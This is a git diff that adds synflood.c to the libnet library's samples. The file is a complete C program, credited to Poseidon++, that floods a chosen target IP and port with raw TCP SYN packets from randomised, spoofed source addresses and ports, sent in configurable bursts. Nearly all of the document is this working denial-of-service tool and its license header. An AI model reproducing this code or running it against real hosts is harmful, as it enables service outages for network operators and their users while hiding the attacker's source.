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Diffstat (limited to 'libnet/sample/synflood.c')
| -rw-r--r-- | libnet/sample/synflood.c | 200 |
1 files changed, 200 insertions, 0 deletions
diff --git a/libnet/sample/synflood.c b/libnet/sample/synflood.c new file mode 100644 index 0000000..e3fe8b5 --- /dev/null +++ b/libnet/sample/synflood.c @@ -0,0 +1,200 @@ +/* + * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $ + * + * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com> + * SYN flooder rewritten for no good reason. Again as libnet test module. + * Again for libnet 1.1. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +struct t_pack +{ + struct libnet_ipv4_hdr ip; + struct libnet_tcp_hdr tcp; +}; + + +int +main(int argc, char **argv) +{ + u_long dst_ip = 0; + u_long src_ip = 0; + u_short dst_prt = 0; + u_short src_prt = 0; + libnet_t *l; + libnet_ptag_t t; + u_char *cp; + char errbuf[LIBNET_ERRBUF_SIZE]; + int i, c, packet_amt, burst_int, burst_amt, build_ip; + + packet_amt = 0; + burst_int = 0; + burst_amt = 1; + + printf("libnet 1.1 syn flooding: TCP[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 't': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1) + { + fprintf(stderr, "Bad IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'a': + packet_amt = atoi(optarg); + break; + case 'i': + burst_int = atoi(optarg); + break; + case 'b': + burst_amt = atoi(optarg); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + if (!dst_prt || !dst_ip || !packet_amt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + libnet_seed_prand(l); + + for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) + { + for (i = 0; i < packet_amt; i++) + { + t = libnet_build_tcp( + src_prt = libnet_get_prand(LIBNET_PRu16), + dst_prt, + libnet_get_prand(LIBNET_PRu32), + libnet_get_prand(LIBNET_PRu32), + TH_SYN, + libnet_get_prand(LIBNET_PRu16), + 0, + 0, + LIBNET_TCP_H, + NULL, + 0, + l, + t); + + if (build_ip) + { + build_ip = 0; + libnet_build_ipv4( + LIBNET_TCP_H + LIBNET_IPV4_H, + 0, + libnet_get_prand(LIBNET_PRu16), + 0, + libnet_get_prand(LIBNET_PR8), + IPPROTO_TCP, + 0, + src_ip = libnet_get_prand(LIBNET_PRu32), + dst_ip, + NULL, + 0, + l, + 0); + } + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); + } +#if !(__WIN32__) + usleep(250); +#else + Sleep(250); +#endif + + printf("%15s:%5d ------> %15s:%5d\n", + libnet_addr2name4(src_ip, 1), + ntohs(src_prt), + libnet_addr2name4(dst_ip, 1), + dst_prt); + } +#if !(__WIN32__) + sleep(burst_int); +#else + Sleep(burst_int * 1000); +#endif + } + exit(EXIT_SUCCESS); +} + + +void +usage(char *nomenclature) +{ + fprintf(stderr, + "\n\nusage: %s -t -a [-i -b]\n" + "\t-t target, (ip.address.port: 192.168.2.6.23)\n" + "\t-a number of packets to send per burst\n" + "\t-i packet burst sending interval (defaults to 0)\n" + "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); +} + + +/* EOF */ |